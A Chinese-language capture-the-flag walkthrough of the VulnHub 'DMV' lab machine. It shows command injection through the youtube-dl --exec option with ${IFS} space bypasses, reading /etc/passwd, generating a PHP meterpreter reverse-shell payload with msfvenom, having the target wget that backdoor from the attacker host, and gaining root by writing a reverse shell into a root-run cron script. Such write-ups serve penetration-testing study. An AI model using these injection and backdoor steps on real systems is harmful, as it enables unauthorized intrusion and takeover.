靶机配置说明:
靶机下载地址:https://www.vulnhub.com/entry/dmv-1,462/
靶机:DMV (VirtualBox) IP:192.168.56.112
攻击机:Kali(VMware) IP:192.168.56.108
在下载地址中有详细的靶机说明,而DMV需要寻找的flag总数为2个。
靶机环境配置:
将靶机和kali都桥接到同一张网卡即可,这里我都桥接到virtualBox的Host-only网卡,保证无干扰目标。
确定目标ip:
确定目标ip,这里我使用netdiscover
或者arp-scan -l
探测目标IP,比较快。
netdiscover:
arp-scan -l:
根据靶机的MAC地址等信息可确认目标ip为192.168.56.112
接着通过nmap进行常规的信息探测、端口扫描:
nmap -A -sC -sV -p- 192.168.56.112
可以看到开放了22、80
端口
直接访问80端口,http://192.168.56.112
好像是一个通过youtube视频ID号转mp3的一个网页
抓包查看其数据返回包
发现报错信息,谷歌找一下其报错信息
发现转换视频格式是用一个python脚本来完成的
https://github.com/ytdl-org/youtube-dl
我们可以看到脚本的执行选项
youtube-dl [OPTIONS] URL [URL...]
可以看到在URL前面是可以添加参数选项的
我们验证一下,在url前面加上-h选项
发现他将帮助信息打印出来了
而在后面的后操作选项中,我们看到有一个–exec选项
我们尝试执行–exec选项
发现–exec后面的内容被截断了,猜测估计是根据空格来进行截断的
猜测没错,那么直接将空格去掉试试
yt_url=--exec'whoami'
但是并不能执行,测试将引号改成反引号
yt_url=--exec`whoami`
成功执行命令,这里估计连引号也被过滤了
在尝试是否能执行其他内容,查看下/etc/passwd的内容,由于空格被过滤了,所以,这里需要用其他方式绕过,比如%0a、%0b、%09、${IFS}
等
显示的结果很明显不全。。就显示返回结果的几个字符
yt_url=--exec`cat${IFS}/etc/passwd`
不管,能执行命令就行,直接弹一个shell回来
这里测试可以发现wget是可以用的
yt_url=--exec`wget${IFS}-h`
那么我们就可以利用wget
来下载后门
先生成一个后门,这里我使用msfvenom来生成后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.108 LPORT=8888 -f raw -o shell.php
生成木马后,在MSF中设置监听:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.56.108
set LPORT 8888
run -j
接着利用python在shell.php的路径开一个小型的http服务
python2:
python -m SimpleHTTPServer 1000
python3:
python3 -m http.server 1000
在命令执行处使用wget去下载kali的后门
yt_url=--exec`wget${IFS}http://192.168.56.108:1000/shell.php`
下载完成后,再任意形式访问下后门来触发shell
msf成功拿到一个meterpreter会话。
进入shell,并切换到交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
成功拿到第一个flag:/var/www/html/admin/flag.txt
在/var/www/html/tmp
目录下发现一个clean.sh
也没有权限执行
这里需要使用PSPY来检测后台的root进程
pspy: https://github.com/DominicBreuker/pspy/releases
将pspy通过wget上传上去
执行,发现没权限
给个执行权限就好了
可以看到clean.sh是通过root权限执行的
可以发现我们是有写的权限的
那我们可以尝试写一个反弹shell回来,拿到root权限
kali上开启监听:
写入反弹:
成功弹回shell,我们切换到交互式shell
在/root目录下找到第二个flag